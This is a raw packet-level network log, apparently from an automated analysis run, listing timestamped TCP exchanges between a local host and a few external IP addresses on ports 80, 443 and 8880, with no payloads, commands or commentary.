Dec 19, 2024 16:10:44.408333063 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.408366919 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.408457041 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.408494949 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.409312963 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.409349918 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.409919977 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.409954071 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.410298109 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.410310030 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.410332918 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.410350084 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.411144018 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.411180973 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.412003994 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.412017107 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.412053108 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.412059069 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.412092924 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.412852049 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.412888050 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.413580894 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.413619041 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.413836956 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.413852930 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.413873911 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.413891077 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.414669991 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.414709091 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.414962053 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.414995909 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.415620089 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.415632963 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.415684938 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.416467905 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.416558981 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.417421103 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.417435884 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.417452097 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.417458057 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.417474985 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.417490005 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.418323994 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.418359041 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.418776989 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.418837070 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.541661978 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.541686058 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.541717052 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.541764021 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.542270899 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.542293072 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.542306900 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.542327881 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.542967081 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.543070078 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.543279886 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.543342113 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.543852091 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.543890953 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.566538095 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.566590071 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.566665888 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.566708088 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.566989899 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.567006111 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.567034960 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.567059040 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.567888021 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.567931890 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.567943096 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.567976952 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.568819046 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.568865061 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.569354057 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.569392920 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.569714069 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.569746971 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.570379972 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.570416927 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.570652962 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.570692062 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:45.048142910 CET	49946	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:45.048207998 CET	443	49946	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:45.048312902 CET	49946	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:45.062963963 CET	49946	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:45.062992096 CET	443	49946	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:46.468638897 CET	443	49946	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:46.468704939 CET	49946	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:46.772003889 CET	49946	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:46.772025108 CET	443	49946	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:46.788671970 CET	49946	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:46.788681984 CET	443	49946	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:46.996752977 CET	49922	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:46.997077942 CET	49955	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:47.116607904 CET	80	49955	185.215.113.43	192.168.2.6
Dec 19, 2024 16:10:47.116707087 CET	49955	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:47.116786003 CET	80	49922	185.215.113.43	192.168.2.6
Dec 19, 2024 16:10:47.116847992 CET	49922	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:47.119669914 CET	49955	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:47.239233971 CET	80	49955	185.215.113.43	192.168.2.6
Dec 19, 2024 16:10:47.465775013 CET	49956	8880	192.168.2.6	95.214.234.11
Dec 19, 2024 16:10:47.585329056 CET	8880	49956	95.214.234.11	192.168.2.6
Dec 19, 2024 16:10:47.585402966 CET	49956	8880	192.168.2.6	95.214.234.11
Dec 19, 2024 16:10:47.666310072 CET	443	49946	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:47.666363955 CET	49946	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:47.666383982 CET	443	49946	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:47.666397095 CET	443	49946	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:47.666416883 CET	49946	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:47.666440964 CET	49946	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:47.708679914 CET	49946	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:47.708710909 CET	443	49946	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:48.114404917 CET	49959	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:48.114439011 CET	443	49959	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:48.114495039 CET	49959	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:48.122864008 CET	49959	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:48.122879028 CET	443	49959	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:48.451405048 CET	80	49955	185.215.113.43	192.168.2.6
Dec 19, 2024 16:10:48.451472044 CET	49955	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:48.459619045 CET	49956	8880	192.168.2.6	95.214.234.11
Dec 19, 2024 16:10:48.469525099 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:48.470130920 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:48.579149008 CET	8880	49956	95.214.234.11	192.168.2.6
Dec 19, 2024 16:10:48.590720892 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:48.590996027 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:48.591048002 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:48.591084957 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:48.618402004 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:48.737921000 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:48.898811102 CET	8880	49956	95.214.234.11	192.168.2.6
Dec 19, 2024 16:10:48.929723978 CET	49956	8880	192.168.2.6	95.214.234.11
Dec 19, 2024 16:10:49.049350023 CET	8880	49956	95.214.234.11	192.168.2.6
Dec 19, 2024 16:10:49.366153002 CET	8880	49956	95.214.234.11	192.168.2.6
Dec 19, 2024 16:10:49.499571085 CET	49956	8880	192.168.2.6	95.214.234.11
Dec 19, 2024 16:10:49.522950888 CET	443	49959	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:49.523051023 CET	49959	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:49.538558006 CET	49966	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:49.538589954 CET	443	49966	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:49.538737059 CET	49966	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:49.557934046 CET	8880	49956	95.214.234.11	192.168.2.6
Dec 19, 2024 16:10:49.567462921 CET	49959	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:49.567480087 CET	443	49959	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:49.569242001 CET	49959	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:49.569255114 CET	443	49959	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:49.569293022 CET	49959	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:49.569303989 CET	443	49959	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:49.584227085 CET	49966	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:49.584254980 CET	443	49966	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:49.687061071 CET	49956	8880	192.168.2.6	95.214.234.11
Dec 19, 2024 16:10:49.926019907 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:49.926054001 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:49.926068068 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:49.926094055 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:49.926094055 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:49.926111937 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:49.926135063 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:49.926167965 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:49.926217079 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:49.926259995 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:49.926299095 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:49.926306009 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:49.926346064 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:49.926390886 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:49.926407099 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:49.926433086 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:49.926449060 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.045911074 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.045931101 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.045962095 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.045994997 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.050065041 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.050124884 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.117857933 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.117906094 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.117923021 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.117964983 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.120264053 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.120307922 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.120381117 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.120419979 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.128665924 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.128760099 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.128793001 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.128813028 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.137098074 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.137149096 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.137286901 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.137332916 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.145514965 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.145566940 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.145601034 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.145639896 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.154089928 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.154149055 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.154208899 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.154252052 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.162334919 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.162384987 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.162388086 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.162435055 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.171684980 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.171742916 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.171818018 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.171861887 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.179136038 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.179184914 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.179249048 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.179291010 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.187602997 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.187650919 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.187689066 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.187731028 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.195458889 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.195544958 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.195571899 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.195617914 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.237732887 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.237792969 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.237835884 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.237931967 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.241449118 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.241503000 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.309875965 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.309926987 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.309954882 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.309995890 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.312288046 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.312328100 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.313054085 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.313092947 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.313167095 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.313210964 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.317785025 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.317821980 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.317826033 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.317859888 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.322546959 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.322603941 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.322622061 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.322662115 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.327049017 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.327105045 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.327184916 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.327234030 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.331729889 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.331772089 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.331896067 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.331937075 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.336311102 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.336363077 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.336391926 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.336427927 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.340910912 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.340956926 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.341023922 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.341063976 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.345690012 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.345736027 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.345845938 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.345885992 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.350265980 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.350313902 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.350337029 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.350372076 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.354871035 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.354916096 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.354965925 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.355005980 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.359673977 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.359725952 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.359725952 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.359761953 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.364155054 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.364201069 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.364222050 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.364260912 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.368737936 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.368779898 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.368859053 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.368899107 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.372390985 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.372436047 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.372484922 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.372524023 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.376298904 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.376315117 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.376338005 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.376354933 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.379633904 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.379673004 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.379714966 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.379755020 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.383285999 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.383327007 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.383394003 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.384279966 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.386925936 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.386965036 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.387006044 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.387044907 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.390590906 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.390678883 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.390738010 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.390777111 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.394160986 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.394201994 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.394251108 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.394290924 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.397830963 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.397874117 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.398015976 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.398071051 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.401396036 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.401441097 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.401489019 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.401530981 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.429502964 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.429562092 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.495206118 CET	443	49959	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:50.495320082 CET	443	49959	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:50.495353937 CET	49959	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:50.495374918 CET	49959	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:50.501776934 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.501836061 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.501895905 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.501949072 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.503092051 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.503144979 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.503613949 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.503662109 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.503716946 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.503756046 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.506458044 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.506498098 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.506545067 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.506587029 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.509236097 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.509285927 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.509332895 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.509382963 CET	49960	80	192.168.2.6	31.41.244.11
